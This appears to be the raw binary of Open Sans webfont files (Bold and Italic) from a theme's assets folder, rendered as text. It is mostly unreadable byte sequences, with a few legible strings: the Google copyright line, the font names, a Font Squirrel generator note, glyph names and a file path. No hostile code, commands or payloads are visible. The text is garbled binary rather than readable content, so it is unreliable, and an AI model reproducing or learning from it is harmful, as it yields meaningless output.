�9901526=463"&54&~���cK��Jd�ƒ��XR>�}�FD�ռ"#�	��DF�}�;W\�/��/�ִ+�+�+013��/�!R���"n�+��"/��/���#/�ְ2�+�2�
+�@	+�
+�@	+�2�$+��9��99��	99��9901>554675&'4&'523"#RcKvs�Jd��Q{�}�R��bDG+Vk"�+FD�5sn��
TT�Ra��pr5X'9}3�/�3��+��2�/�+��9��90156323267#"&'&#"Xg�I�K�b5~6e�BxZ�`7}'�m  7@9�m%8Cu���^F�+�
+�/�ְ2�

+�2�

+�
+�+�+��
990134632#"&u3�3��]QT\ZVS[���1%QYXRTVX����x�+�
+�+�+���2�/�ֱ
��+�2�+�2�
+�@	+�+��99��99��	999��901753.#"3267#5$��Ӳ��ZH|>yt�R�d���\���	A�$����-�=	��;Rj�v�+��+��
+�3��2�/�ְ2��2�
+�@	+�@	+�
+�@	+�+��9��9��9��90135>=#5354632&#"!!!RgM������]�sNTw����,rd�����R�@YS�ۏ�N��q�!�'|�+�%�/���(/�ִ+��"+�+�)+��$9�"�99��	
$9��
$9�%�99��	$90176327'#"''7&54732654&#"q�[ji[��55}�_esT}�66�mPQoqONo�57���Ynk\}�}33{�}]hf_�MonNPnp��z�+�+�3�
+�	3�+�2�
+�3�+�2�/�ְ2�
�2�

+�@
	+�2�
+�@	+�2�+�
�9��901!	!3#3#!5#535#53<9������������Z�����ݲ���/�#�/�ְ2�+�2�+�	+013#3����^���/��j��)-8��,+�+�/�+�9/�
ְ2�.+�+�.�3+�$+�)22�$�+�/�:+�.
�99��
!,16$9�$3�"&999�,�9��)16$9��901753254.'.5467&54632.#"#"654&'jQ�F�%ZP��H=�߶��RD�NQJcr��}>?���\�tNe�%5;�)9u'03"J�uO�(T���T� 3.01J-@�m�S(iJ��OCh.9YD^1O��/�	/�3��2���/�ֱ��+��+014632#"&%4632#"&K@BKLA@K�Q<AMN@<Q}AFJ=<IF?FAH?=HAd��D�5��+�+�+�+�3-
+�3+�#(
+�#+�6/�ִ+�� +�++�+�+�+�7+�+�#%03$9�-3�19�(� &0$9�#�%9014$32#"$732$54$#"4632&#"3267#"&d�^��^������Î������䢤����Ǖ�Jqhaj�9�9x�����^��������ZƤ�壤�������N�:�����9�/���!��+�+�/�+�/�+�"/�ִ+��+�2�+��+�/�#+��	99��999��9��99��9��9��	90146?4#"'>32#'#"&7326=/��cQ�BB�c���+|Ju}�. MYc��mm	u=� 2���Fn:@ul&$SA$
R^�
0�/�ֱ
��+�
�+��99��99015	5	Rs��ۇr���#�w����w��w����wX�9?3�/��
+�@	+�/�ִ+�
+�@	+�+015!#X��d��l=�V�"�/����/�+�
+�+015!=���d��D�,5��+�+�+�+�"5
+�"+�5"
+�@5 	+�(2�6/�ִ+�� +�,+�-2�,�1+�%+�%�+�+�7+�1,�*$9�%�')99��(9�5�%*-$9014$32#"$732$54$#"!2##32654&+d�^��^������Î������䢤��-����/B98E��^��������ZƤ�壤����������?�pR���9BA6����/�+�+�/�+015!��\�N�+�+�/�+�/�ִ+��+�+�+��99��99014>32#"&732654&#"\\�^\�]]�]�ɿYBBZ[A@[q\�^\�\]�ZǑ@Z\>?^\X9d�+��/�3��	2�
+�@	+�
+�@	+�/�ְ2�
+�2�

+�@
	+�
2�
+�@	+�2�+0135!5!3!!#X�����}�������{��/J��Z�+�+�/�	+�/�ִ+�
+�@	+�
+�@	+�+�	�
9��999��901632!!57>54&#"/����^�i`�y�f90(QcJ��uU�u_Ȩ�dY2&(X;9��%}�+�+�$/�+�	/�
+�&/�ִ!+� ��+�
+�@		+�'+��99�$�9�	�!99�
�99��99��90153254&+532654&#"'>32#";�{�XNp\SQ23/T9e>�g��^h����Zk55�49&2&(�/>�h�7
nOy�L��!(�/�+�	/�ִ
+�
+��901567!L�?V4�G��e4�2���^Z�
+�+��+�
3�/�/�ֱ�2��	+��+��9�	�9��9�
�99901!3265!#'##"&'�1X^~r1�+*xX>h �J�syy�����UU.,U���q���O�/�+�
+�@
	+�@
	+�2�/�
ִ	+�	�
+�/�	�+�+�+0163!####"&q��\���>T�����P��3�u)�}.�	/�+�+�/�ִ
+�
+�
+014632#"&uZVS[]QT\�TVXRQYX���N�+�+�+�+�/�ִ
+�+�
�	
99��9��
99��
9013254'73#"'%[H�N�JX��ND��>S�=e@�r\JH�
%�+�/�ִ+�+��9901%3#?\-��0N���p_$*=9���N�+�+�	/�+�/�ִ+��+�+�+��	99��99014632#"&732654&#"9���������AHH??HHA\��Ŧ��ŧdeeddccR^�
0�/�ֱ
��+�
�+��	99��

99017	7%	7R���s�����s���\\w�9�;w\\w�9�;��.��&{�'��������.��&{�'��t�����Z��&u'�����=�y�^'{�+�%+�/���(/�ֱ��+�"
+�	"+�+�/�	+�)+��9��
99�	�%$9��9�%�99901467>=!3267#"&4632#"&=a�_5Ylm9WYO�`fb�j�N]QT\ZVS[l�iFJ=;Jb�MNX?9J:*�8E�zQYXRTVX���s&$CR���s&$v�R���s&$�VR���`&$�VR���V&$jVR���
&$�uX%�[�+�3�	�+��2�
+��
+���/�
ְ2�	
�2�	
+�@		+�
2�@		+�+011!!!!!!!!#������3����z��������\��`N��w���&&z���s&(C��R���s&(v\R���s&(��R���V&(j��R����s&,C�zR����s&,v�[R����s&,��R�����V&,j��R/u�g�
+�
�+��

+�3��2�/�ְ2�
�2�

+�@
	+�
+�@	+�
�+�
�+��990153! )3 4&+3#/��f��e�|�b6���ң��T�d��������T����������`&1��R��w���s&2CuR��w���s&2vFR��w���s&2��R��w���`&2��R��w���V&2j�R��7			'��-1���-���Ӗ)���+���ј-�՘-w���"l�
+��+���#/�ֱ
�� +�

�$+��9� �
$9�
�9�
�999��
"$9��99901!27!"''7&&#"3 4'wiQƒT�X����ŋZ�Z�E8�Ti���Lhs3�m�F}h������zA�l����t�-��E'�u�����^s&8C+R�����^s&8vR�����^s&8��R�����^V&8j�R���s&<v�R���K�+�+�

+��
+���/�ֱ
�
22��+�
�+�
�9013!32!#32654&+�6�����d���|������izkh���h5�+�+��1/���6/�ֱ5�5�(+���!+�
�. ��
�7+�(5�99�.�%1$9�!�9��99��9�1�9990134$!2#"&'53254.'.5467>54&#"�%�&*@J@*5B�i3��c�<5�@� RJ~bFFM>dt�s�㱕@aL:0*4([bzN��"�$2{)3<*HwQ@j17P.<Qi`����V��;!&DC���V��;!&Dvm��V��; &D����V��;&D�
��V��;&Dj��V��;�&D�)V���u(28�� +�&3��+2�
+�3��72�3 

+�3+�2�3�0+�9/�ֱ)
�)�.+�2��32��4+��:+�)�
99�.�
&999��#99�4� 999��99� �#99��)999�3�
9�
�990146?54&#"'632>32!327#"&'#"&%326=!.#"V��YM��c���sB�x��-��ĸO����HbŞ��9�exq||��jX�N��	TEBM�e�@A��锂�X�'(eiuY���ze\Wp|��\��s&Fz���\��b!&HC���\��b!&Hvs��\��b!&H���\��b&Hj�����!&�C�O����!&�v�E�����!&��������&�j��\���#'b�+��%/���(/�ֱ
��"+�
�)+��

99�"�	$9��999�%�99��99014327&''7&'77#"%32654&#"\��FC}�d�PHe�r�d��������7xp{jzkyo��b�w��k5'�AL��h������錎��l������&Q�3��\���!&RC���\���!&Rv���\���!&R���\���&R���\���&RjX�9�4�
/�+�/��/�+�/�ְ2�
�2�+015!4632#"&4632#"&X�JBBIJAAKJBCHJAAKd���LKNIFRNKMQGFQN\����#j�
+��+���$/�ֱ
��!+�

�%+��9�!�
$9�
�9�
�999��
#$9��99901!27!"''7&&#"32654'\�t7�:���~lC�D�7=+?zl�&6zk104RlT������-eid�^H�����Q<������!&XC�������!&Xv�������!&X�1������&Xj/����!&\v=���!c�+��	+��/�"/�ֱ�22��+�
�#+��$9��	99��99��9�	�901!3>32#"'#324&#"�12�i�����hkt�elqh��yxHQU����̉>^�;��R��������&\j���^!�+�+�/�ֱ��+013!�1^��w��P�#}�+��+��+�	�+�!�


+�
��$/�ֱ
��+�
�	2�
+�@	+�%+��999�
�9�
�99�	�901!2!!!!!!# 3267.#"wS>=�#d����3��&�-����?��Az&#�7���k�	�������	�g���\��{s+2��+�3��+�#�+�3�)�+�0�,

+�,+�3/�ֱ 
� �&+���-+��4+�& �99��99�-�,$9��99��99�
#�9�,� &999�0�901!2632!3267# '#"&%32654&#"!.#"\p�G������k�dQ�������7m{zkl{zl�uh^|1-OM�����*.�'(�����������*o}s���V&<jR��!
!�/�3�+�/�+��901567!#&'��Ce�H˝MN���p4�F]SQ_T�J�L�	/�+�/�+�/�ִ+��+�+�+��	99��99014632#"&732654&#"T�qn��pp��00*66**6�l��gl��n-44--33����/�33�+�2�+�3�+�22�/�+�6��>� +
�.�.��������ů+��+�+��+�+� � �#9�9�9�9�....�........�@01>3232673#".#"��v)OMJ$9
��t)OMJ$9
ב�!' 46��!'!56=�V�"�/����/�+�
+�+015!=���=�V�"�/����/�+�
+�+015!=���=�V�"�/����/�+�
+�+015!=���R����/����/�+015!R\���R����/����/�+015!R\������'�+�	+�/�ֱ�	+��901673!e5�B#���[q������'�+�	+�/�ֱ�+��9017!E2~�(���?����%�/�	+�/�ֱ�+��9017!?A$4|��
����w�D�+�3�	+�2�/�ֱ��+��+��9��9��901673!%673!e5�B#���e5�B#���[q���[q����w�
D�+�	3�	+�2�/�ֱ��	+��+��9�	�9��
9017!37!E2~�E2~�(���(���?����
B�/�3�	+�	2�/�ֱ��	+��+��9�	�9��
9017!37!?A$4|�A$4|��
���
���b��).�	/�+�+�/�ִ
+�
+�
+014632#"&b��������욣�����u��b9#M�	/�!33�+�22�+�$/�ִ
+��+�
+��+�
+�%+0174632#"&%4632#"&%4632#"&uZVS[\RT\GZWS[\RU\HZVS[\RT\�TVXRO[YQTVXRO[YQTVXRO[YR^��/�ֱ
�+015	Rs���#�w����wR^��/�ֱ
�+017	7R���s���\\w�9�;�w��!3�w+����JJ��
h�+�/�3�+�2�
+�@	+�/�	ְ2�+�2�	
+�@	+�	
+�@		+�+�	�9��9��901533##5'3547��}}���	5�A�ͨ����VblB����'��$+��+��$
+�3�+�2�$
+�3�+�2�(/�ֱ�
+�@	+�@	+�
+�@	+�2�)+��'99�$�"9��!9��9��
90153&57#53632.#"!!!!!27#"'Bvt�%D�bExAz���^c��3��t����)�'5��R�#���#/!��9�;
������+�
33�+�222�+�+�+�+�2�/�ִ+�
+�@	+�
+�@	+��+�+��+�+�+�6�����+
�.�����
��..�
....�@��99��9015!##33#7###4Ǩ��������!����<�����/�y��o�^``!!`��`����)�&IL��)�&IO��)&I'IL/��)&I'IO/��M�_<��������w�s�����w�y����Ju��+-�X5?R!��R�=\?�XR?�=HuN�J�y�N�N�#�d�H�7�H�BHuR?�X�X�X�-f�`�w��{�d��w�����hP�������^w�^wH�h^�)�3�V��1��N�3BJ���L�V�\\�\)�B�q�q�}��q���B��\�\���\y/B����
��7'h�'R�XJu���R�q�h��j��d/�R�X�=�d��m\�X/;�LH�=qHu���\9�R..Z�=�������w{�{�{�{�������������/��^w^w^w^w^w��^w���������V�V�V�V�V�VVV\�\�\�\�\q��q�q��q���\B��\�\�\�\�\�X�\B�B�B�B����q��w�\����T���s�s{�==�}i�=�=�=RR��T?��%?b�u}�R�R
�w��B�`�)�)�))2222~��4�d����>d���<�
b�.R�H���			�
:
�
�2p��N���

2
�
�@��@��$`$X����*@\��b�j����H��V�p�t����4��$bb�t�RxT� n � � �!�!�"
"Z"�# #J#�#�$$Z$�$�%% %0%@%�%�%�%�%�%�&&V&b&n&z&�&�&�&�&�&�'"'.':'F'R'^'j'�((((&(2(>(�)) ),)8)D)P)\***&*2*>*J*V*b*n*z*�*�++++*+6+|+�+�,
,,",.,�,�,�-<-�-�..d.�.�.�.�.�.�.�.�.�.�.�.�//"/@/X/p/�/�/�0*0l0�0�16161T1t1�1�1�2b2�2�333"32�A=df	r	r	�	�	�	�	�	�n�Digitized data copyright � 2010-2011, Google Corporation.Open SansBoldwebfontOpen Sans BoldVersion 1.10OpenSans-BoldThis font was generated by the Font Squirrel Generator.�ff�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~������������	

��������������uni00A0uni00ADuni00B2uni00B3uni00B5uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205Funi2074EurouniE000uniFB01uniFB02uniFB03uniFB04�����K�PX��Y�F+X!�YK�RX!��Y�+\X� E�+D� E��+�+D� E�l+�+D� E�$+�+D� E�+D�	 E��+�Fv+D�
 E�	�+�Fv+DY�+PK!�$@u4�4�;bluetheme/assets/fonts/OpenSans/OpenSans-Italic-webfont.ttfnu&1i�FFTM_��GDEF( OS/2�E��H`cmap�\l���cvt 
�
��@fpgm�/��egaspDglyf�,��Lt�head�ܰ�{6hhea?�{T$hmtx��BI{x�loca�e̔0�maxp� name%�A��0�post-����prep�c]��Rɉo1��h��m���3�3�f��@ [(1ASC ����X �H� ��0 ~�1Sx��� 
    " & / : D _ t �!"���� �1Rx���     " & / 9 D _ t �!"���������q�M�����������������r�;�� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdei�x�pk�vj��sgwl|���cnm}�b����������ڹ��������y��������������������q�z�H��Ciu}��������������������x��,�K�*PX�JvY�#?�+X=YK�*PX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-���
�6�+��+���/�ִ+��+�+�	+013!%!!�I�y����Jh�+��+�7�+�	/�+�/�ִ+�+��99��90174632#"&3+OD-8NB17�1��NLX76D^8x3����B�2�+�3�+�2�/�ִ+�	+��9901333�H���H�������?;�9�+�333�+�333�
+�$3�	�$2�
+�$3��	

$2� /�ֱ��+�� ����+��!+�6�=Z��+
�=��]+
��+�+�+��	+��
+��
+�+�+�+��+��+��+��+��+�+��+@	

................�@017!!7!3!3!!!!#!#7!!?
e��
-{�}1�}��b
��}�����y�/`����T��L��L����R��R��TH��/%,c�/�
�&2�
+�@	+�2�#/�3�
�2�-/�ֱ�+��
+�@	+��)+��
)+��/�
�.+�6�>|�'+
�����
���+�>��+�+�+��
+�
+�>��+�
+�
+��+�>��+�"+�#+��&
+�>��+�,
+� � �#9�"9�
9�,9�9�
",.......@"#&,............�@��9�#�999��901753.546?3&'#7&>54&'HR�Ib�}ؿ'�'�|?y^���1�1��EITlv�k~BQ��)-�1�r����@�?	�H7�l����|5Y�t��
|\6T �����.:��+�,+�1�+�+��,
+��$7,
+�$��;/�ֱ��+��� +�/�/�5+�'�<+��9��999�5/�,$999�'�9�1� /99��'599�$7�99��99014632#"&332>54#"4632#"&732654#"�e�rtx@e�Wmz?>���Lk4T?&lBj@Ze�rtx?e�Vnz�jAhEmCi?\�1���l���b��5��J`�O��G�~��;�1���k���c����g���B���)5r�+�+�"
�+�3
��6/�ֱ��+�*�*�0+��7+�*�"999�0�%&$9��$9�3"�&,$901467&54632673#'#"&73267>54&#"B��gԯ��An�QH�e���ux܉�ʣ�mW�r�΀p;R�h>UQitV��f���ɞ�NvbR*�{n���dV��j�B[�Cbu�xsGN\:MYx����"�+�+�/�ִ+�+013�H�����R���� �+�/�ֱ�
+��
9013
#R����r��S@������
�`����
 �+�/�ֱ�+��9013��q����'}U��������j�7%%'�7s)�{��w��q��t5����#���/��4���y�R�/�3��2�
+�@
	+�
+�@	+�/�
ְ2�	�2�	

+�@		+�
	
+�@
	+�
+015!3!!#����z�����y��}�����+� �/�	+�/�ִ+�+0173d~N�q������7�9s!�/�
�
��/�ִ+�+017!7#�"՞�+��#�.�	/�+�+�/�ִ+�+�
+0174632#"&+QG+5PD.6JM[45G_4��}�#3^-�����Jy��D�B�
+��+���/�ֱ
�
�+��+�
�
99��901$3 #"73265#"y�
�m��񳰼�dos�q�q�w��)��������C�a/��
w�+�3�+�3�/�ֱ�+�6�>��+
�������>v�+��+� � �#9�..�...�@��
901	3#7/���Ǭ�;2Y���J�b5:n7�B�+��+�
��/�ֱ�+��99��9�
�
$90137>54&#"'632!�f�a/xgM�YR�ް�O������]�}{Kct9Ds���o�б���/��1�(\�'+�
�+��'
+���)/�ֱ#�#+��*+�'�9��#99�� 99��999017532654&+732654&#"'632#"/^�U��������tcP�bP���ʳ|�|��;�15�������\l6Bv����� 	�}��rL�
��	+�3�+�	
+�33��
22�/�	ֱ�+�6�>���+
�	������+�	�
	+�	+�>��+�
	+�
	 � �#9�
..�

......�@��9901733##%!6#B���!�H�J�;�.@TcN��)���N��2$�P��H�r�+�
�+��	
+�
��/�ֱ�+�6�={�7+
�.�
������
..�
....�@��9�	�999017532654&#"'!!632#"P���֓�0bZJ��!��Wa�ג����;�f��~�
9���IѲ��y���Z�(j�+�
�+�
�$
+�
��)/�ֱ��"+��*+�"�
999��
99�$�
$9�
�9��9014$32&#"3>32#"&732>54#"�y��oI#Df��D;�j���䓶Ǧyp^�Q�B|`0���#�����O^Ŭ�����Ή�l�q�9_r�y�"�+�+���/�+��9013!7!��1{�!����`��V�%1e�+�
�
+�/��2/�ֱ��+�&�&� +��, +�
�3+� &�
#)/$9�/�
#)$901467.54>32#"&732654&'>54&#"`��_Qm�{�Ü�jxᘾخ�p��hq���NX��s`r�Z��LE�`o�a����PN�sz�fűk~�zc�<<�sR|6<�fZj�b��+�(c�+�� ��
�+�&�

+�

��)/�
ֱ��#+��*+�
�9�#�
999�&�
$9017532##"&54632
#"32>54&#"b�p�@
3�c���琴�p������mlL�Y)ve���/,KWž������W�ٌ�|�9jzZ���+���dU�	/�+�/�+�/�ִ+�+�+�/�+�+��	99��990174632#"&4632#"&+QG+5PD.6�PGaSA.6JM[45G_4�M[hI]5�����d*�/�
+�/�ִ+�+��9901734632#"&d~N�q��PGaSA.6������M[hI]5y��5	y����bߕ��������/��/�
��/�	+015!5!��h�������y��75	5y���Hs��!b�����&q�+�#�	/�+�'/�ִ+�2���/�� +��(+��	&999��9� �#$9�#�&999��90174632#"&>32#>7>54&#"�PG,5SA.6'\�R����}X�es�P.g`Q�BJM[45I]4O32��{�x[qh��[dXd>]e3o�F��5A��3/�.	�/�3�9� 2�>/��'/�	��B/�ֱ+�+�+�6�6�$+��C+�6�=��T+
�:�<������+�:�;:<+�;:< � �#9�9�;<.....�;<.....�@�$6�'.03$9�.3�19��09�>9�$$901$!2#"'##"&54>3232>54#"!27# 32&#"o��
��n�z�o�s���A}X@DfNJ����
������BA�UF?@^�\�����쵳�ޤ�������$�.u��������VZqO]S;n����y�+�33�+�3�
+�	3�
�2�/�ֱ�+�6��z�7+
��
�����
�
+�	
+�
.�	
....�@��901#3#!!&'u���9��I�#%W��J�/m+��X�V�� ��+��+� �
+���!/�ֱ�+��"+�6�>��+
�.� .���� ���� +� +� ......�@��9��99� �9013! #%!2654&+732654&+V5w���s{����
�•�������������
 �n�񑡓t{��~hg���
�=�+��+�	��/�ֱ
�+��9�	�999��901$32&#"327#"��d�ŗE�����ë��V�n����P�E��ݻ�9�+V�	]�	+�3�
�+���/�ֱ�+�6�>��+
�.�.��
�����
....�@�
�9013! !'32$54&+V5V�z�����2��Dz�����pؓ�N���Vj�i�+�	�+��
+���/�
+�6�>���+
�.�.��	�����	�	+�	+�	......�@013!!!!!V5� ��b��r5!���+���Vj�	`�+�	3�+��
+���
/�ֱ	�+�6�>���+
����	���	+�	+�....�@013!!!!V5���n ����������N�~�+��+��
+�3��2�/�ֱ�+�6�>��z+
�.�������..�....�@��99��9��901$32.#"327!7!# ��h�u�hBM�j���͸�j`��!˚�����
��(,�"2����'���9K!Vs���+�333�+�333�

+�	3��2�/�ֱ��+���+���+��
+�6�>���+
�>��+
��+��+�	+��
+�	
....�@0133!3#!V5������ʧ��l����n�J��PV5�?�+�3�+�3�/�ֱ��+��+�6�>��+
�@0133V7�����J���5�Y�+�3�/���
/�ֱ�+�6�>��+
�����	��	..�	..�@��9��901732673!"��ELd�3���O��i���}x��D��V+�
��+�
33�+�33�/�ֱ
�
�+��+�6�>���+
�>���+�
�
+�
+�
 � �#9�9�..�..�@��9��901333	#&'V5�����^�H�H�}��:���ǵe����VV�E�+��+�3�/�ֱ�+�6�>���+
�������..�@0133!V5���5!���T����+�$3�+�33�/�ֱ��+��+�6�>���+
��������|�$+
�.���
����>��+
��
�����>��+��	
+��+�+� � �#9�9�	
9�	
.......@	
...........�@��
99��901333!#7###T5�	�
�Ѯ~��3��+���L��JNwM��H�J�}T���+�	33�+�33�/�ֱ��+��+�6�>���+
�������>��+
�����	��..�	....�@��9901333673##T5��*���˵�4 *���<�/�J���������
D�+��+���/�ֱ��+��+��99��9901$32# 32654&#"��O��������Ĩ�񌼧���%�����W�+���l�����V��
s�+�
3�+��	
+�	��/�ֱ
�
�+��+�6�>���+
����
���	
+�
+�	....�@��9013!2!#32654&+V5J����Ç{�������������Ѷ�}o�����M�+��+��� /�ֱ��+��!+��
$9��
9��9901$32## 32654&#"��O����������Ĩ�򅼧���%����N��J+���i�����V����+�33�+��

+�
��/�ֱ��+��+�6�>���+
�������
+�+�
....�@��99��9�
�9��9013! ##32654&+V5@���������Ї��f�����e�y`���ym�'��#�&f�$+��+���'/�ֱ��+�!�(+��
$999��	$9�!�9�$�9��!$9��9017532654&'.54$32.#"#"&'����i��u�c�_BB�E��"Ji�g5��j�+�T��NwQU�t��&.�&,�w6MD=XdyP�����J�+�3�+��22�/�ֱ�	+�6�>��+
�������..�@017!!#�!��h����������w�+�
�+�33�/�ֱ��+���+��+�6�>��a+
��
�����
..�
..�@��
99�
�90147332673#"&��������,ͪ�7����Qxn��jRu�����:������Q�+�+�33�/�ֱ�
+�6��X�\+
�������.�..�@��90133673#��a=e߿����^ċ����J���g�+�3�+�	33�/�ֱ�� ���/���+�
�+��99��	99�
�9��99901336733673#&5##ߪ
YC��+		K8���h�1H�,���{Xb��`����S�}�Jň�H������&�+�3�+�3�/�
+��
9901#	33	#hT�������������3�J������}�+�3�+�33�	/�ֱ�+��/��
+�6�>���+
����������+
��������...�...�@0133#�����q�w���g��%����	.�+��+�
��
/�+��9��901#7!7!!��q Z�d�!�����o�����I�+�
�/���/�	+�6�>��+
�.�.��
���
��....�@01!#3}���� �����!��P�?�+�3�+�3�/�ֱ��+��+�6�����+
�@013#ݚٚ��J�j��j�U�+�3�
�2�/�3��2�/�	+�6�>��+
�.�.�������....�@0173#7!��@�������ߍ�5)�I�+�3�/�ֱ�+�6��3�_+
�.���
����...�..�@013#5Vm
��-)��h��D����H�/�
�
��/�+017!�+����?��!%�/�
+�	/�ֱ�
+��90153#.?�+hh=���=�b��`\ _�+�+�
�	+�+�
��!/�ֱ��+��"+��$9��
999��
$9014632373#7##"&732654&#"b���\�(C��Ƌ��^Ua�xp[h�f^�d�c]�����ƨrq�)�gz���;��9"X�+�+�
�	+�
��#/�ֱ��+��$+��$9��	99��$901333>32#"&'#32654#";J�370	]�`�����a�%
F�oic�h�`�u�voƭ���fX�Znu�+���b���\=�+�
�+�	
��/�ֱ
�+��9�	�999��9014$32&#"3267#"&b����/xcp�i�uH�>|�����R�3�3���(�?�b���!k�
+�+�
�+�
��"/�ֱ��
+���
+��#+�
�$9��999�
�9��$90146323673#7##"&732654&#"b����W
N����e�^����^�ulge�i^�d¾�wf���}hĪ�#�ot���b���\"h�+�
�+� �

+�
��#/�ֱ��+��$+��$9��99��9�
�99� �9014632!#3267#"&32654&#"b���������!{�?�c^�W�����INg���Y��w��P��$0�,#��wq5F���� ��+�
�+��2���	+�/�
��!/�"+�6�>���+
��
�������
+�	
+��+�+�
....�	
........�@�� 9��9��9�
�9013267#?>32&#"3##"'�@0LR�
�.��(t +L=W]���'��E8��|s:CBdȥ�a�l�������L\(5C��&+�,	�+�@�2�+�@�9&
+�9��D/�ֱ)�)�+�6� ���6�=+���# ��/�//�#�E+�6��e�t+
�3�2����!�� !+� ! � �#9� 23....� 23....�@��9�6�&,999�/�@$9�#�9�,�#999�9�99�@�9901467&5467.54632!#"'!"&732654&/32>54&#"��Nf[?P�NLs�)��7�B?u������ܢ����l��x�ZPOv?XRNuA�i�6)PEc+ }S�k>`��5N)���ʓ�MZt>H~UYT�VRVQ�;)��+�33�+�
��/�ֱ��+��+��/��+�6�>��+
�������+�+�+�+�+�+� � �#9�9�9�9�9�9�........�........�@��9��99��9901333>32#654#";J�!#)^�d��'j���Y��!eR���f{j��>h��!�^)�v�';�Y�+�3�+�3�/���/�ֱ��+�� ��	�+�6�>��+
�@��9901334632#"&;��q@3XC,(4H��`8GZ7L1����u�
+�
�+�3�/���/�ֱ�
 ���+�6�>���+
�������..�..�@�
�99�
�9��9013273#"'4632#"&��=:}+���$��E6V@3VC,&4������78GZ7L19!��+�
33�+�/�ֱ��+��+�6�>��.+
�������>��+�+�
+�
 � �#9�9�
....�
..�@��99��9��99013333	#9J��9-�+'��R������-��{�o9-I�+�3�/�ֱ��+��+�6�>��+
�������..�@01339L�����;�\,��+� !333�+�+�3�'
�2�-/�ֱ,�,�+���!+� � �+��+��/��.+�6�>��+
�!�"�� ���"..�"..�@��99� !�'99��
99��99�'�
$901333>323>32#654&#"#654&#";�
W�\qzV�c����EJQ�wk��>KT�y!eH�wh�t}y��Dn�`�h*>KtՒ��^)FNxߝ�%;)\��+�
33�+�+�
��/�ֱ��+���+�
�
+��/�
�+�6�>��9+
����
���..�..�@��99�
�99��
99901333>32#654&#";�
`�`����GNY��!eH�ze�}Oe�`�h(?Lxޞ�%b��V
D�+�
�+�
��/�ֱ��+��+��99��99014632#"&732654&#"b����ܐ���ڬwh�]}km�_��O��ż���⻃��
�s������9Z"n�
+�
�+�+�
�/�#/�ֱ��+���+�	�$+��9��999��
$9��	$90133632#"&'#32654#"+P�������a�(
k�oic�h�`�u�4���dZ&Z�Fnu�+���b�`\"[�+�
�	+�+�
�/�#/�ֱ��+��$+��99��$9��$9014632373#67##"&732654&#"b���^�%
C}���e	0_�`����\�ymbe�h^�h�e[����-�ylë�"�iz���;h\L�+�+�
	�+�
�2�/�ֱ��+��+��99�
�9901333>32&#";�
H^g?E3$54[�wkH�_S-�
xՂ�
��D\$d�#+�
�+���%/�
ֱ��+� �&+�
�9��
#$9� �9�#�9��
 $9��9017532654&'.54632'&#"#"F�E~�Ft�lʥ��68ew]jGok].�ɩ1�*.dN9NDI�`��J�+WE8P?<Vc>��Z���Dy�+�
�+��2�
+�@	+�/�ֱ�+�6�>��+
�.�����	��	..�	....�@��9��99��901?3!!327#"&547Z�}b7��:47Y"d}��IN���W-8<�wvBTZq��^Hi�+�+�	
�+�3�/�ֱ�+���+���+��+��	99��99�	�99901747332>73#7##"&q����X��"d��b�_���>n��IY2�x����}b�bHQ�+�+�33�/�ֱ�
+�6��Y�[+
�������.�..�@��9013373#b�@4E����H����h`\��uHl�+�3��2�+�	33� /�ֱ�� ���/���+��!+��9��	99��
99��990133673363#&=##u�/Z'�%n��� 	2S���H��X�z|�u���^5*V	X��Z^N�v�����H&�+�3�+�3�/�
+��
9901#33#J�类J�9�����5�d������N�;�H_�+�
�+�33�/�ֱ�+�6����d+
�����	��	..�	..�@��9��9901326?33>73#"'�?DRu7L��J
#hE��H]��HD��ec�Z��E��RW�+a������}H	,�+��+���
/�+��9��901#7!7!!��!��XuV}���}��/�'��+�

�/��/���(/�&ְ%2��&
+�@	+�&+�!�!/��)+�6�>���+
�#�����
��#�#+��
+�
+�#�$#+�%#+�$# � �#9�9�
9�9@	
#$%.........�
#$........�@�&�99��!99��99017267>;"3#"&547>'4 v�D"��!i\G~h�/IS��!%�WhF���IW��{z)�;H�:(51�iw4Y������/�ֱ��+013����������'��+�
�'/��/���(/�
ֱ�
+��)+�6�>u�	+
��
��#
�����
+�
+�#�#+�"#+�
 � �#9�9�"#9�9�
"#........�
"#........�@��99��99��
9901267>75&54?654&#7323"+JshH~k�2Qc��1�!w�C$��
�HWBu}*�;H�A"51�iv0]�D+��Vh���}sP3T��/�33�	
�2�	+�3�
�22�/�+�6��y½+
�.�.����������I+��+�+��+�+� � �#9�9�9�9�....�........�@��
9�	�90156323267#"&'.#"sb�EtV@a27�3d�H~HKZ06�P�m%B7�n!  E���^*�
/�+�/�ִ
+�+�
�990134632#"&m�9QF,5QA06��!��+L\46G]3��)���+�3�+�3�
+�
�
+�
�2�/�ֱ��+��
+�@	+��+�� +�6�>��+
��+��+�+�>��F+��+� � �#9�.�....�@��9��9��9��
999��	90146?3&#"3267#7.��#{%wb/mnp�i�vH�>{�)}+��N�>���	(�4���}�(�>��"�������+��2�
+�
�

+�33��22�/�+�6�>��]+
���������+�+��+�+�....�........�@��
9�
�901#76?#73!2&#"!!!�5/��LKc��B���2Er��/XP�!�.��^aV�O��b�+��!�'t�+�%�/�	��(/�ֱ��"+��)+��$9�"�$9��	
$9��$9�%�	
